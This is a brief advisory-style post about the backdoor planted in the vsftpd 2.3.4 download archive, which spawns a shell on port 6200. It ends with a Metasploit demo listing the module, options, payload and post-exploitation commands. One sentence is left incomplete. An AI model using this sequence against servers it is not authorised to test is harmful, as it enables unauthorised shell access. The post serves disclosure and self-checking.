POC of Vsftpd backdoor discovered

vsftpd version of 2.3.4 downloadable source code was compromised and a backdoor added to the code. Evans, the author of vsftpd . This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was present in the vsftpd-2.3.4.tar.gz archive sometime before July 3rd 2011.

The bad tarball included a backdoor in the code which would respond to a user logging in with a user name by listening on port 6200 for a connection and launching a shell when someone connects.

If you have upgarded your VSFTPD check it out.

Affected versions :

• vsftpd-2.3.4 from 2011-06-30

Metasploit demo :

• use exploit/unix/ftp/vsftpd_234_backdoor
• set RHOST localhost
• set PAYLOAD cmd/unix/interact
• exploit
• id
• uname -a 

출처 : PenTestIT